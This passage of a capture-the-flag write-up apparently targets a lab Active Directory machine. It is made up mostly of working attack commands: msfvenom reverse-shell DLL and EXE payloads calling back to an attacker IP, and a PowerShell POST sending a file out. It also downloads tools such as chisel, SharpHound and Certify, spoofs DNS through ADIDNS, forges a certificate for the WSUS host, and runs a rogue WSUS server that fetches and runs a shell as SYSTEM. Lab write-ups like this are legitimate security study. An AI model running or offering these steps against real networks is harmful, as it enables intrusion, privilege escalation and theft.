architecture: i386, flags 0x0000012f:
HAS_RELOC, EXEC_P, HAS_LINENO, HAS_DEBUG, HAS_LOCALS, D_PAGED
start address 0x0040354a
We know because Error code: 193 is an architecture mismatch
Let’s do that same thing for x32
msfvenom \
-p windows/shell_reverse_tcp \
LHOST=10.10.16.84 \
LPORT=4242 \
-f dll \
-o settings_update.dll
Hell yea we get a callback
Further Enumeration as jaylee clifton#
Get-Content -Path "monitor.log" -Wait -Tail 10
C:\Windows\system32>whoami
whoami
logging\jaylee.clifton
```powershell
powershell -ep bypass
echo $PSVersionTable
Resolve-Path Incident_4922_WSUS_Remediation_ViewExport.html
$filePath = "C:\Users\jaylee.clifton\Documents\Tickets\Incident_4922_WSUS_Remediation_ViewExport.html"
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
Invoke-WebRequest `
-Uri "http://10.10.16.84:4242"
-Method POST `
-ContentType "application/octet-stream"
-Body $fileBytes `
rlwrap nc -lvnp 4242
Yea all that was completely unecessary, but fun anyways.
Support Incident View: #4922
Status: CLOSED - WORKAROUND APPLIED Priority: Urgent (Compliance)
2026-04-06 09:45 Internal Note:
Machine is still choking on the standard catalog. BITS service is garbage and I'm not
wasting another morning troubleshooting the local database. Since the "official" server
migration is apparently taking forever, I've pointed this box to the staging endpoint
at wsus.logging.htb.
2026-04-06 13:20 Internal Note:
DNS is still not updatedstandard for this departmentso don't bother pinging it from
outside the test subnet. I've set up a scheduled "ForceSync" task to deal with the
inevitable lockups.
2026-04-06 16:10 Final Resolution:
Task is running on a 120s loop. It nukes SoftwareDistribution and restarts the agent
every cycle. Its a hack, but it works and it keeps the compliance auditors off my back.
Do not touch the trigger settings. If the services don't come back up, that's your problem.
iwr -uri http://10.10.16.84:9090/chisel.exe -OutFile chisel.exe
./chisel server -p 4040 --socks5 --reverse
./chisel.exe client 10.10.16.84:4040 R:1080:socks
proxychains -q \
nmap \
-sC -sV \
-Pn 10.129.39.254 \
-oN scans/internal.nmap
iwr -uri http://10.10.16.84:9090/SharpHound.ps1 -OutFile SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
Spoofing WSUS (Windows Server Update Services)#
Looking at the new bloodhound scans we have access to a certificate template, that would probably let us impersonate the afforementionned wsus server TLS wise. But we also need to gain some kind of man in the middle possition, probably by creating a dns record to point the wsus address to our own machine
Leverage ADIDNS to Impersonate the WSUS Server#
This fails
Add-DnsServerResourceRecordA -Name "wsus.logging.htb" -ZoneName "logging.htb" -IPv4Address "10.10.16.84"
Also fails
New-ADComputer -Name "wsus" -SamAccountName "wsus" -Enabled $true
Also fails
Add-DnsServerResourceRecordA -Name "wsus" -ZoneName "logging.htb" -IPv4Address "10.10.16.84"
Reading about the fact that apparently by default in AD users can create up to 10 machine accounts, and those machine accounts can have DNS records.
Looks like PowerMad can do that. I couldn’t get it to work though.
iwr -uri http://10.10.16.84:9090/Powermad.ps1 -OutFile Powermad.ps1
. .\Powermad.ps1
New-MachineAccount -MachineAccount "wsus" -Password "Password123!" -Verbose --Domain logging.htb -DomainController DC01.logging.htb
New-MachineAccount -MachineAccount "wsus" -Password (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Domain "logging.htb" -DomainController "DC01.logging.htb" -Verbose
$securePass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
New-ADComputer -Name "wsus" -SamAccountName "wsus" -AccountPassword $securePass -Enabled $true -Path "CN=Computers,DC=logging,DC=htb" -Verbose
New-MachineAccount -MachineAccount "wsus" -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
Trying SharpMad
.\SharpMad.exe add /machine:wsus /password:Password123! /domain:logging.htb
iwr -uri http://10.10.16.84:9090/Rubeus.exe -OutFile Rubeus.exe
iwr -uri http://10.10.16.84:9090/Sharpmad.exe -OutFile Sharpmad.exe
That works by creating the record directly with ADIDNS!
.\Sharpmad.exe ADIDNS -Action new -Node wsus -Data 10.10.16.84
It took a minute to propagate, but eventually our address is in the DNS
Resolve-DnsName wsus.logging.htb
Obtain a TLS identity for the server#
Get Certify on the box
iwr -uri http://10.10.16.84:9090/Certify.exe -OutFile Certify.exe
.\Certify.exe find
Certify v1 works but only support adding SANs as UPN, we want a DNS record SAN
.\Certify.exe request /ca:DC01.logging.htb\logging-DC01-CA /template:UpdateSrv
.\Certify.exe request /ca:DC01.logging.htb\logging-DC01-CA /template:UpdateSrv /altname:wsus.logging.htb
Apparenlty that’s possible with Certify v2, which I can’t find a pre-compiled binary for. And I really don’t have any windows machine to compile this stuff on. So here comes a fun side-quest of spinning up a windows machine in Azure, installing visual studio code, and git and so on just to compile this thing. Yes Password 123 on the internet, I don’t care, I’ll destroy it in 30 min
xfreerdp3 /v:51.104.57.102 /u:blnkn /p:'Password123!' /size:100% /smart-sizing /dynamic-resolution +clipboard
Then send myself the binary somehow
$ify\bin\Release\Certify.exe"
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$base64Data = [Convert]::ToBase64String($fileBytes)
$bodyPayload = @{
filename = "Certify.exe"
filedata = $base64Data
} | ConvertTo-Json
Invoke-RestMethod -Uri "134.209.183.194:9090" `
-Method Post `
-Body $bodyPayload `
-ContentType "application/json"
Make sure the hash matches after decoding
Get-FileHash .\Certify.exe -Algorithm MD5
curl -O http://134.209.183.194:9090/Certify2.exe
md5sum Certify2.exe
Get it on the actual box
iwr -uri http://10.10.16.84:9090/Certify2.exe -OutFile Certify2.exe
And boom, now we can generate the x509 identity correctly
.\Certify2.exe request --ca DC01.logging.htb\logging-DC01-CA --template UpdateSrv --dns wsus.logging.htb --output-pem
And it does have a proper DNS SAN
wl-paste | openssl x509 -noout -ext subjectAltName -subject -issuer
X509v3 Subject Alternative Name:
DNS:wsus.logging.htb
subject=DC=htb, DC=logging, CN=Users, CN=jaylee.clifton
issuer=DC=htb, DC=logging, CN=logging-DC01-CA
Build a rogue WSUS server#
Pywsus doesn’t seem to have TLS support, but wsuks does
python pywsus.py \
--host 10.10.16.84 \
--port 8530 \
--executable /path/to/PsExec64.exe \
--command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'
Default tries to use a signed psexec and add a new admin user, but it doesn’t work
sudo wsuks \
-I tun0 \
-t 10.129.53.182 \
--WSUS-Server wsus.logging.htb \
--tls-cert certKey.pem \
--serve-only
Tried to just send myself a get, that works
sudo wsuks \
-I tun0 \
-t 10.129.53.182 \
--WSUS-Server wsus.logging.htb \
--tls-cert certKey.pem \
--serve-only \
-c "/accepteula /s powershell.exe -NoProfile -ep Bypass -Command iwr -Uri 10.10.16.84:9090 -Method Get"
Make an executable reverse shell
msfvenom \
-p windows/shell_reverse_tcp \
LHOST=10.10.16.84 \
LPORT=4242 \
-f exe \
-o shell.exe
Download it and start it
sudo wsuks \
-I tun0 \
-t 10.129.53.182 \
--WSUS-Server wsus.logging.htb \
--tls-cert certKey.pem \
--serve-only \
-c "/accepteula /s powershell.exe -NoProfile -ep Bypass -Command iwr -Uri 10.10.16.84:9090/shell.exe -OutFile C:\Windows\Tasks\shell.exe; Start-Process C:\Windows\Tasks\shell.exe"
Voila
C:\Windows\system32>whoami
whoami
nt authority\system